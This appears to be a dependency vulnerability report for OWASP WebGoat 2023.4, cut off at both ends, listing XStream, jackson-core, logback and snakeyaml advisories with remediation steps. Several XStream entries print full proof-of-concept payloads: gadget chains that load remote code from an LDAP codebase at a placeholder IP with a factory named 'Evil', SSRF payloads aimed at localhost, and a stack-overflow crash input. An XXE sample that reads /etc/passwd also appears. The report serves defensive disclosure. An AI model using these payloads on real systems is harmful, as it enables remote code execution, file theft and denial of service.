                              <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBaOgk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYW
                              <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYW
                            </__bytecodes>
                            <__transletIndex>-1</__transletIndex>
                            <__indentNumber>0</__indentNumber>
                          </default>
                        </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                      </proxy>
                      <implementing__method>
                        <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                        <name>getOutputProperties</name>
                        <parameter-types/>
                      </implementing__method>
                    </sun.tracing.dtrace.DTraceProbe>
                  </entry>
                </probes>
              </defaultHandler>
            </handler>
          </dynamic-proxy>
        </linked-hash-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- [GitHub Advisory](#)
- [XStream Advisory](#)
- [XStream Changelog](#)

[More about this vulnerability](#)

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

[com.thoughtworks.xstream:xstream](#) is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <javax.naming.ldap.Rdn_-RdnEntry>
              <type>12345</type>
              <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
              </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
            <javax.naming.ldap.Rdn_-RdnEntry>
              <type>12345</type>
              <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                  <parsedMessage>true</parsedMessage>
                  <soapVersion>SOAP_11</soapVersion>
                  <bodyParts/>
                  <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                    <attachmentsInitialized>false</attachmentsInitialized>
                    <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                      <soapPart/>
                      <mm>
                        <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                          <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                            <homeCtx>
                              <hostname>233.233.233.233</hostname>
                              <port__number>2333</port__number>
                              <clnt class='com.sun.jndi.ldap.LdapClient'/>
                            </homeCtx>
                            <hasMoreCalled>true</hasMoreCalled>
                            <more>true</more>
                            <posn>0</posn>
                            <limit>1</limit>
                            <entries>
                              <com.sun.jndi.ldap.LdapEntry>
                                <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                                <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                                  <javax.naming.directory.BasicAttribute>
                                    <default>
                                      <ignoreCase>false</ignoreCase>
                                    </default>
                                    <int>4</int>
                                    <javax.naming.directory.BasicAttribute serialization='custom'>
                                      <javax.naming.directory.BasicAttribute>
                                        <default>
                                          <ordered>false</ordered>
                                          <attrID>objectClass</attrID>
                                        </default>
                                        <int>1</int>
                                        <string>javanamingreference</string>
                                      </javax.naming.directory.BasicAttribute>
                                    </javax.naming.directory.BasicAttribute>
                                    <javax.naming.directory.BasicAttribute serialization='custom'>
                                      <javax.naming.directory.BasicAttribute>
                                        <default>
                                          <ordered>false</ordered>
                                          <attrID>javaCodeBase</attrID>
                                        </default>
                                        <int>1</int>
                                        <string>http://127.0.0.1:2333/</string>
                                      </javax.naming.directory.BasicAttribute>
                                    </javax.naming.directory.BasicAttribute>
                                    <javax.naming.directory.BasicAttribute serialization='custom'>
                                      <javax.naming.directory.BasicAttribute>
                                        <default>
                                          <ordered>false</ordered>
                                          <attrID>javaClassName</attrID>
                                        </default>
                                        <int>1</int>
                                        <string>refClassName</string>
                                      </javax.naming.directory.BasicAttribute>
                                    </javax.naming.directory.BasicAttribute>
                                    <javax.naming.directory.BasicAttribute serialization='custom'>
                                      <javax.naming.directory.BasicAttribute>
                                        <default>
                                          <ordered>false</ordered>
                                          <attrID>javaFactory</attrID>
                                        </default>
                                        <int>1</int>
                                        <string>Evil</string>
                                      </javax.naming.directory.BasicAttribute>
                                    </javax.naming.directory.BasicAttribute>
                                  </javax.naming.directory.BasicAttribute>
                                </attributes>
                              </com.sun.jndi.ldap.LdapEntry>
                            </entries>
                          </aliases>
                        </it>
                      </mm>
                    </multiPart>
                  </sm>
                </message>
              </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
          </java.util.PriorityQueue>
```

```
        </java.util.PriorityQueue>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

```
<map>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://localhost:8080/internal/</url>
              <cs>GBK</cs>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://localhost:8080/internal/</url>
              <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
        </map>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog
- Nuclei Templates

More about this vulnerability

HIGH SEVERITY

Server-Side Request Forgery (SSRF)

- Package Manager: maven

- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
                <owner/>
                <managedObjectManagerClosed>false</managedObjectManagerClosed>
                <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
                  <stubHandlers>
                    <entry>
<stubHandlers>
  <entry>
    <method>
      <class>java.lang.Comparable</class>
      <name>compareTo</name>
      <parameter-types>
        <class>java.lang.Object</class>
      </parameter-types>
    </method>
    <com.sun.xml.internal.ws.client.sei.StubHandler>
      <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
        <indices>
          <int>0</int>
        </indices>
        <getters>
          <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
        </getters>
        <accessors>
          <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
            <val_-isJAXBElement>false</val_-isJAXBElement>
            <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
              <type>int</type>
              <field>
                <name>hash</name>
                <clazz>java.lang.String</clazz>
              </field>
            </val_-getter>
            <val_-isListType>false</val_-isListType>
            <val_-n>
              <namespaceURI/>
              <localPart>hash</localPart>
              <prefix/>
            </val_-n>
            <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
              <type>java.lang.String</type>
              <method>
                <class>jdk.nashorn.internal.runtime.Source</class>
                <name>readFully</name>
                <parameter-types>
                  <class>java.net.URL</class>
                </parameter-types>
              </method>
            </val_-setter>
            <outer-class>
              <propertySetters>
                <entry>
                  <string>serialPersistentFields</string>
                  <com.sun.xml.internal.ws.spi.db.FieldSetter>
                    <type>[Ljava.io.ObjectStreamField;</type>
                    <field>
                      <name>serialPersistentFields</name>
                      <clazz>java.lang.String</clazz>
                    </field>
                  </com.sun.xml.internal.ws.spi.db.FieldSetter>
                </entry>
                <entry>
                  <string>CASE_INSENSITIVE_ORDER</string>
                  <com.sun.xml.internal.ws.spi.db.FieldSetter>
                    <type>java.util.Comparator</type>
                    <field>
                      <name>CASE_INSENSITIVE_ORDER</name>
                      <clazz>java.lang.String</clazz>
                    </field>
                  </com.sun.xml.internal.ws.spi.db.FieldSetter>
                </entry>
                <entry>
                  <string>serialVersionUID</string>
                  <com.sun.xml.internal.ws.spi.db.FieldSetter>
                    <type>long</type>
                    <field>
                      <name>serialVersionUID</name>
                      <clazz>java.lang.String</clazz>
                    </field>
                  </com.sun.xml.internal.ws.spi.db.FieldSetter>
```

```
    </entry>
    <entry>
      <string>value</string>
      <com.sun.xml.internal.ws.spi.db.FieldSetter>
        <type>[C</type>
        <field>
          <name>value</name>
          <clazz>java.lang.String</clazz>
        </field>
      </com.sun.xml.internal.ws.spi.db.FieldSetter>
    </entry>
    <entry>
      <string>hash</string>
      <com.sun.xml.internal.ws.spi.db.FieldSetter>
        <type>int</type>
        <field reference='../../../../../val$-getter/field' />
      </com.sun.xml.internal.ws.spi.db.FieldSetter>
    </entry>
  </propertySetters>
  <propertyGetters>
    <entry>
      <string>serialPersistentFields</string>
      <com.sun.xml.internal.ws.spi.db.FieldGetter>
        <type>[Ljava.io.ObjectStreamField;</type>
        <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
      </com.sun.xml.internal.ws.spi.db.FieldGetter>
    </entry>
    <entry>
      <string>CASE_INSENSITIVE_ORDER</string>
      <com.sun.xml.internal.ws.spi.db.FieldGetter>
        <type>java.util.Comparator</type>
        <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
      </com.sun.xml.internal.ws.spi.db.FieldGetter>
    </entry>
    <entry>
      <string>serialVersionUID</string>
      <com.sun.xml.internal.ws.spi.db.FieldGetter>
        <type>long</type>
        <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
      </com.sun.xml.internal.ws.spi.db.FieldGetter>
    </entry>
    <entry>
      <string>value</string>
      <com.sun.xml.internal.ws.spi.db.FieldGetter>
        <type>[C</type>
        <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
      </com.sun.xml.internal.ws.spi.db.FieldGetter>
    </entry>
    <entry>
      <string>hash</string>
      <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val$-getter' />
    </entry>
  </propertyGetters>
  <elementLocalNameCollision>false</elementLocalNameCollision>
  <contentClass>java.lang.String</contentClass>
  <elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper' />
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
  <entry>
    <method reference='../../../databinding/stubHandlers/entry/method' />
    <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
      <owner reference='../../../..' />
      <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
        <owner reference='../../../..' />
        <method reference='../../../../databinding/stubHandlers/entry/method' />
        <isVoid>false</isVoid>
        <isOneway>false</isOneway>
      </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
    </entry>
  </methodHandlers>
</handler>
</dynamic-proxy>
<url>http://localhost:8080/internal/</url>
</java.util.PriorityQueue>
</java.util.PriorityQueue>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream and replace or inject objects, that result in exponential recursively hashcode calculation,

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload .
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.19 or higher.

References

- GitHub Commit
- XStream Advisory

More about this vulnerability

HIGH SEVERITY

XML External Entity (XXE) Injection

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

`com.thoughtworks.xstream:xstream` is a simple library to serialize objects to XML and back again. Multiple XML external entity (XXE) vulnerabilities in the (1) Dom4JDriver, (2) DomDriver, (3) JDomDriver, (4) JDom2Driver, (5) SjsxpDriver, (6) StandardStaxDriver, and (7) WstxDriver drivers in XStream before 1.4.9 allow remote attackers to read arbitrary files via a crafted XML document.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
          <username>John</username>
        </xml>
```

An external XML entity - `xxe` , is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of `/etc/passwd` and display it to the user rendered by `username` .

```
<?xml version="1.0" encoding="ISO-8859-1"?>
        <!DOCTYPE foo [
           <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
           <username>&xxe;</username>
        </xml>
```

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

References

- NVD
- OSS Security
- GitHub Issue

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). When a certain denyTypes workaround is not used, mishandles attempts to create an instance of the primitive type 'void' during unmarshalling, leading to a remote application crash, as demonstrated by an `xstream.fromXML("<void/>")` call.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.10 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- NVD
- Vendor Advisory

More about this vulnerability

HIGH SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to a manipulated binary input stream. An attacker can terminate the application with a stack overflow error resulting in a denial of service by manipulating the processed input stream when configured to use the `BinaryStreamDriver`.

Workaround

This vulnerability can be mitigated by catching the `StackOverflowError` in the client code calling XStream.

PoC

Prepare the manipulated data and provide it as input for a XStream instance using the BinaryDriver:

```
final byte[] byteArray = new byte[36000];
        for (int i = 0; i < byteArray.length / 4; i++) {
              byteArray[i * 4] = 10;
              byteArray[i * 4 + 1] = -127;
              byteArray[i * 4 + 2] = 0;
              byteArray[i * 4 + 3] = 0;
        }

        XStream xstream = new XStream(new BinaryStreamDriver());
        xstream.fromXML(new ByteArrayInputStream(byteArray));
```

As soon as the data gets unmarshalled, the endless recursion is entered and the executing thread is aborted with a stack overflow error.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.21 or higher.

References

- GitHub Commit
- GitHub Commit
- XStream Advisory

More about this vulnerability

HIGH SEVERITY

Stack-based Buffer Overflow

- Package Manager: maven
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, com.github.tomakehurst:wiremock@2.27.2 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.github.tomakehurst:wiremock@2.27.2 › com.fasterxml.jackson.core:jackson-core@2.13.3

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the `parse` process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade `com.fasterxml.jackson.core:jackson-core` to version 2.15.0-rc1 or higher.

References

- GitHub Commit
- GitHub PR

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven

- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, com.github.tomakehurst:wiremock@2.27.2 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.github.tomakehurst:wiremock@2.27.2 › com.fasterxml.jackson.core:jackson-core@2.13.3

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.fasterxml.jackson.core:jackson-core` to version 2.15.0-rc1 or higher.

References

- GitHub Commit
- GitHub Issue
- GitHub PR

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11 › ch.qos.logback:logback-core@1.2.11

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `ch.qos.logback:logback-core` to version 1.2.13, 1.3.12, 1.4.12 or higher.

References

- Changelog
- GitHub Commit
- GitHub Commit
- GitHub Commit

More about this vulnerability

HIGH SEVERITY

Uncontrolled Resource Consumption ('Resource Exhaustion')

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11 › ch.qos.logback:logback-core@1.2.11

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the `logback receiver` component. An attacker can mount a denial-of-service attack by sending poisoned data.

Note:

Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.

Remediation

Upgrade `ch.qos.logback:logback-core` to version 1.2.13, 1.3.14, 1.4.14 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Release Notes
- Release Notes

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-classic
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `ch.qos.logback:logback-classic` to version 1.2.13, 1.3.12, 1.4.12 or higher.

References

- Changelog
- GitHub Commit
- GitHub Commit
- GitHub Commit

More about this vulnerability

HIGH SEVERITY

Uncontrolled Resource Consumption ('Resource Exhaustion')

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-classic
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the `logback receiver` component. An attacker can mount a denial-of-service attack by sending poisoned data.

Note:

Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.

Remediation

Upgrade `ch.qos.logback:logback-classic` to version 1.2.13, 1.3.14, 1.4.14 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Release Notes
- Release Notes

More about this vulnerability

MEDIUM SEVERITY

Stack-based Buffer Overflow

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.

Remediation

Upgrade `org.yaml:snakeyaml` to version 1.31 or higher.

References

- Bitbucket Commit
- Bitbucket Issue
- Chromium Bugs

More about this vulnerability

MEDIUM SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

